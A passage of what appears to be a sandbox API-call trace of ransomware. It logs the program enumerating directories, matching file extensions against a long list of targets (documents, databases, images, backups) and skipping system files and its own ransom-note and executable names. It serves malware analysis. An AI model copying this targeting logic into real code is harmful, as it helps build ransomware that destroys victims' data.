	[0164.945] lstrlenW (lpString=".GTF") returned 4
	[0164.945] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.945] lstrlenW (lpString="index.html") returned 10
	[0164.945] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.945] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.945] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.945] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.945] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.945] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.945] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.945] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.945] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html") returned 111
	[0164.945] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.945] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.945] lstrlenW (lpString=".1cd") returned 4
	[0164.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.945] lstrlenW (lpString=".3ds") returned 4
	[0164.945] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.945] lstrlenW (lpString=".3fr") returned 4
	[0164.945] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.945] lstrlenW (lpString=".3g2") returned 4
	[0164.945] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.945] lstrlenW (lpString=".3gp") returned 4
	[0164.945] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.945] lstrlenW (lpString=".7z") returned 3
	[0164.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.946] lstrlenW (lpString=".accda") returned 6
	[0164.946] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".accdb") returned 6
	[0164.946] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".accdc") returned 6
	[0164.946] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".accde") returned 6
	[0164.946] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".accdt") returned 6
	[0164.946] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".accdw") returned 6
	[0164.946] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.946] lstrlenW (lpString=".adb") returned 4
	[0164.946] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".adp") returned 4
	[0164.946] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai") returned 3
	[0164.946] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.946] lstrlenW (lpString=".ai3") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai4") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai5") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai6") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai7") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".ai8") returned 4
	[0164.946] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.946] lstrlenW (lpString=".anim") returned 5
	[0164.946] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.947] lstrlenW (lpString=".arw") returned 4
	[0164.947] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".as") returned 3
	[0164.947] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.947] lstrlenW (lpString=".asa") returned 4
	[0164.947] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".asc") returned 4
	[0164.947] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".ascx") returned 5
	[0164.947] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.947] lstrlenW (lpString=".asm") returned 4
	[0164.947] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".asmx") returned 5
	[0164.947] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.947] lstrlenW (lpString=".asp") returned 4
	[0164.947] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".aspx") returned 5
	[0164.947] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.947] lstrlenW (lpString=".asr") returned 4
	[0164.947] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".asx") returned 4
	[0164.947] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".avi") returned 4
	[0164.947] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".avs") returned 4
	[0164.947] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".backup") returned 7
	[0164.947] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.947] lstrlenW (lpString=".bak") returned 4
	[0164.947] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".bay") returned 4
	[0164.947] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.947] lstrlenW (lpString=".bd") returned 3
	[0164.947] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.947] lstrlenW (lpString=".bin") returned 4
	[0164.948] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".bmp") returned 4
	[0164.948] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".bz2") returned 4
	[0164.948] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".c") returned 2
	[0164.948] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.948] lstrlenW (lpString=".cdr") returned 4
	[0164.948] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cer") returned 4
	[0164.948] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cf") returned 3
	[0164.948] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.948] lstrlenW (lpString=".cfc") returned 4
	[0164.948] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cfm") returned 4
	[0164.948] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cfml") returned 5
	[0164.948] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.948] lstrlenW (lpString=".cfu") returned 4
	[0164.948] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".chm") returned 4
	[0164.948] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cin") returned 4
	[0164.948] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".class") returned 6
	[0164.948] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.948] lstrlenW (lpString=".clx") returned 4
	[0164.948] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".config") returned 7
	[0164.948] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.948] lstrlenW (lpString=".cpp") returned 4
	[0164.948] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.948] lstrlenW (lpString=".cr2") returned 4
	[0164.948] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".crt") returned 4
	[0164.949] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".crw") returned 4
	[0164.949] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".cs") returned 3
	[0164.949] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.949] lstrlenW (lpString=".css") returned 4
	[0164.949] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".csv") returned 4
	[0164.949] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".cub") returned 4
	[0164.949] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dae") returned 4
	[0164.949] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dat") returned 4
	[0164.949] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".db") returned 3
	[0164.949] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.949] lstrlenW (lpString=".dbf") returned 4
	[0164.949] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dbx") returned 4
	[0164.949] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dc3") returned 4
	[0164.949] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dcm") returned 4
	[0164.949] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dcr") returned 4
	[0164.949] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".der") returned 4
	[0164.949] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dib") returned 4
	[0164.949] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dic") returned 4
	[0164.949] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.949] lstrlenW (lpString=".dif") returned 4
	[0164.950] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".divx") returned 5
	[0164.950] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".djvu") returned 5
	[0164.950] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".dng") returned 4
	[0164.950] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".doc") returned 4
	[0164.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".docm") returned 5
	[0164.950] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".docx") returned 5
	[0164.950] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".dot") returned 4
	[0164.950] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dotm") returned 5
	[0164.950] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".dotx") returned 5
	[0164.950] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.950] lstrlenW (lpString=".dpx") returned 4
	[0164.950] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dqy") returned 4
	[0164.950] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dsn") returned 4
	[0164.950] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dt") returned 3
	[0164.950] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.950] lstrlenW (lpString=".dtd") returned 4
	[0164.950] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dwg") returned 4
	[0164.950] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dwt") returned 4
	[0164.950] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.950] lstrlenW (lpString=".dx") returned 3
	[0164.951] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.951] lstrlenW (lpString=".dxf") returned 4
	[0164.951] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".edml") returned 5
	[0164.951] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.951] lstrlenW (lpString=".efd") returned 4
	[0164.951] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".elf") returned 4
	[0164.951] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".emf") returned 4
	[0164.951] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".emz") returned 4
	[0164.951] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".epf") returned 4
	[0164.951] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".eps") returned 4
	[0164.951] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".epsf") returned 5
	[0164.951] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.951] lstrlenW (lpString=".epsp") returned 5
	[0164.951] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.951] lstrlenW (lpString=".erf") returned 4
	[0164.951] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".exr") returned 4
	[0164.951] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".f4v") returned 4
	[0164.951] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".fido") returned 5
	[0164.951] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.951] lstrlenW (lpString=".flm") returned 4
	[0164.951] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".flv") returned 4
	[0164.951] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.951] lstrlenW (lpString=".frm") returned 4
	[0164.951] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".fxg") returned 4
	[0164.952] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".geo") returned 4
	[0164.952] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".gif") returned 4
	[0164.952] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".grs") returned 4
	[0164.952] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".gz") returned 3
	[0164.952] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.952] lstrlenW (lpString=".h") returned 2
	[0164.952] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.952] lstrlenW (lpString=".hdr") returned 4
	[0164.952] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".hpp") returned 4
	[0164.952] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".hta") returned 4
	[0164.952] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".htc") returned 4
	[0164.952] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.952] lstrlenW (lpString=".htm") returned 4
	[0164.952] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.952] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.952] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.953] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.953] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0164.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.953] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0164.953] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 100
	[0164.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 1
	[0164.954] lstrlenW (lpString="en-NZ") returned 5
	[0164.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-NZ") returned -1
	[0164.954] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.954] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 100
	[0164.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0164.958] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.958] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.958] lstrlenW (lpString="index.html") returned 10
	[0164.958] lstrlenW (lpString=".1cd") returned 4
	[0164.958] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".3ds") returned 4
	[0164.958] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".3fr") returned 4
	[0164.958] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".3g2") returned 4
	[0164.958] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".3gp") returned 4
	[0164.958] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".7z") returned 3
	[0164.958] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.958] lstrlenW (lpString=".accda") returned 6
	[0164.958] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".accdb") returned 6
	[0164.958] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".accdc") returned 6
	[0164.958] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".accde") returned 6
	[0164.958] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".accdt") returned 6
	[0164.958] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".accdw") returned 6
	[0164.958] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.958] lstrlenW (lpString=".adb") returned 4
	[0164.958] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.958] lstrlenW (lpString=".adp") returned 4
	[0164.958] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai") returned 3
	[0164.959] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.959] lstrlenW (lpString=".ai3") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai4") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai5") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai6") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai7") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ai8") returned 4
	[0164.959] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".anim") returned 5
	[0164.959] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.959] lstrlenW (lpString=".arw") returned 4
	[0164.959] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".as") returned 3
	[0164.959] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.959] lstrlenW (lpString=".asa") returned 4
	[0164.959] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".asc") returned 4
	[0164.959] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".ascx") returned 5
	[0164.959] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.959] lstrlenW (lpString=".asm") returned 4
	[0164.959] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".asmx") returned 5
	[0164.959] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.959] lstrlenW (lpString=".asp") returned 4
	[0164.959] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.959] lstrlenW (lpString=".aspx") returned 5
	[0164.959] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.959] lstrlenW (lpString=".asr") returned 4
	[0164.960] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".asx") returned 4
	[0164.960] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".avi") returned 4
	[0164.960] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".avs") returned 4
	[0164.960] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".backup") returned 7
	[0164.960] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.960] lstrlenW (lpString=".bak") returned 4
	[0164.960] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".bay") returned 4
	[0164.960] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".bd") returned 3
	[0164.960] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.960] lstrlenW (lpString=".bin") returned 4
	[0164.960] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".bmp") returned 4
	[0164.960] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".bz2") returned 4
	[0164.960] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".c") returned 2
	[0164.960] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.960] lstrlenW (lpString=".cdr") returned 4
	[0164.960] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".cer") returned 4
	[0164.960] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".cf") returned 3
	[0164.960] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.960] lstrlenW (lpString=".cfc") returned 4
	[0164.960] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".cfm") returned 4
	[0164.960] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.960] lstrlenW (lpString=".cfml") returned 5
